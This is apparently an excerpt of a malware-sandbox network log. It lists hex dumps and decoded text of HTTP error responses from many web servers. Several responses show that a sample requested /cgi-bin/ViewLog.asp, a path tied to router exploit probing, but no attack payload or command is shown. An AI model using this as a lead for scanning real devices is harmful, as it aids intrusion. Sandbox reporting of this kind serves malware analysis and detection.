20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 62 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 21 Mar 2024 04:17:59 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:18:17 GMTServer: ApacheContent-Length: 217Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 31 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:17 GMTServer: ApacheContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:18:18 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 31 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 6f 63 61 6c 68 6f 73 74 2e 6c 6f 63 61 6c 64 6f 6d 61 69 6e 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:18 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 313Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:18:18 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 217Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 31 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:18 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:18:23 GMTServer: ApacheContent-Length: 276Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p><hr><address>Apache Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 02:23:51 GMTServer: Apache/2.4.10 (Debian)Content-Length: 292Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 32 3a 32 33 3a 35 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 32 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 76 32 32 30 31 39 30 36 33 34 35 33 36 39 32 33 31 39 2e 68 6f 74 73 72 76 2e 64 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 02:23:51 GMTServer: Apache/2.4.10 (D
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 21 Mar 2024 04:18:43 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Microsoft-IIS/8.0Date: Thu, 21 Mar 2024 04:18:43 GMTContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Type: text/htmlContent-Length: 1140Date: Thu, 21 Mar 2024 04:18:43 GMTServer: DWSData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 09 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 4f 4e 54 45 4e 54 2d 54 59 50 45 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 62 69 67 35 22 3e 0a 09 3c 54 49 54 4c 45 3e 3c 2f 54 49 54 4c 45 3e 0a 09 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 47 45 4e 45 52 41 54 4f 52 22 20 43 4f 4e 54 45 4e 54 3d 22 4f 70 65 6e 4f 66 66 69 63 65 2e 6f 72 67 20 32 2e 34 20 20 28 57 69 6e 33 32 29 22 3e 0a 09 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 43 52 45 41 54 45 44 22 20 43 4f 4e 54 45 4e 54 3d 22 32 30 31 30 30 34 33 30 3b 31 31 34 34 31 37 37 33 22 3e 0a 09 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 43 48 41 4e 47 45 44 22 20 43 4f 4e 54 45 4e 54 3d 22 32 30 31 30 30 35 30 34 3b 31 36 30 37 34 38 39 38 22 3e 0a 09 3c 53 54 59 4c 45 20 54 59 50 45 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 3c 21 2d 2d 0a 09 09 40 70 61 67 65 20 7b 20 73 69 7a 65 3a 20 32 31 63 6d 20 32 39 2e 37 63 6d 3b 20 6d 61 72 67 69 6e 3a 20 32 63 6d 20 7d 0a 09 09 50 20 7b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 2e 32 31 63 6d 20 7d 0a 09 2d 2d 3e 0a 09 3c 2f 53 54 59 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 4c 41 4e 47 3d 22 7a 68 2d 54 57 22 20 44 49 52 3d 22 4c 54 52 22 3e 0a 3c 48 31 3e 3c 46 4f 4e 54 20 43 4f 4c 4f 52 3d 22 23 66 66 36 36 33 33 22 3e 3c 46 4f 4e 54 20 46 41 43 45 3d 22 54 68 6f 72 6e 64 61 6c 65 2c 20 73 65 72 69 66 22 3e 3c 53 50 41 4e 20 4c 41 4e 47 3d 22 65 6e 2d 55 53 22 3e 49 6e 73 74 72 75 63 74 69 6f 6e 3c 2f 53 50 41 4e 3e 3c 2f 46 4f 4e 54 3e 3c 2f 46 4f 4e 54 3e 3c 2f 48 31 3e 0a 3c 50 3e 3c 46 4f 4e 54 20 46 41 43 45 3d 22 54 69 6d 65 73 20 4e 65 77 20 52 6f 6d 61 6e 2c 20 73 65 72 69 66 22 3e 3c 53 50 41 4e 20 4c 41 4e 47 3d 22 65 6e 2d 55 53 22 3e 3c 46 4f 4e 54 20 43 4f 4c 4f 52 3d 22 23 30 30 30 30 30 30 22 3e 3c 46 4f 4e 54 20 46 41 43 45 3d 22 54 69 6d 65 73 20 4e 65 77 20 52 6f 6d 61 6e 2c 20 73 65 72 69 66 22 3e 3c 53 50 41 4e 20 4c 41 4e 47 3d 22 65 6e 2d 55 53 22 3e 3c 42 3e 46 69 6c 65 20 0a 6e 6f 74 20 66 6f 75 6e 64 21 20 50 6c 65 61 73 65 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 64 72 61 79 74 65 6b 2e 63 6f 6d 2f 69 6e 64 65 78 2e 70 68 70 3f 6f 70 74 69 6f 6e 3d 63 6f 6d 5f 6b 32 26 76 69 65 77 3d 69 74 65 6d 6c 69 73 74 26 74 61 73 6b 3d 63 61 74 65 67 6f 72 79 26 69 64 3d 32 31 30 26 49 74 65 6d 69 64 3d 32 39 33 26 6c 61 6e 67 3d 65 6e 22 20 54 41 52 47 45 54 3d 22 5f 62 6c 61 6e 6b 22 3e 76 69 73 69 74 0a 6f 75 72 20 73 75 70 70 6f 72 74 20 73 69 74 65 3c 2f 41 3e 20 6f 72 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 64 72 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 21 Mar 2024 04:18:48 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 46 26 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 4e 8e a7 cf a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzF&zIy%jaC]N0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 21 Mar 2024 04:18:48 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 20Keep-Alive: timeout=0Connection: Keep-AliveData Raw: 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: 404 - Page Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 07:18:48 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
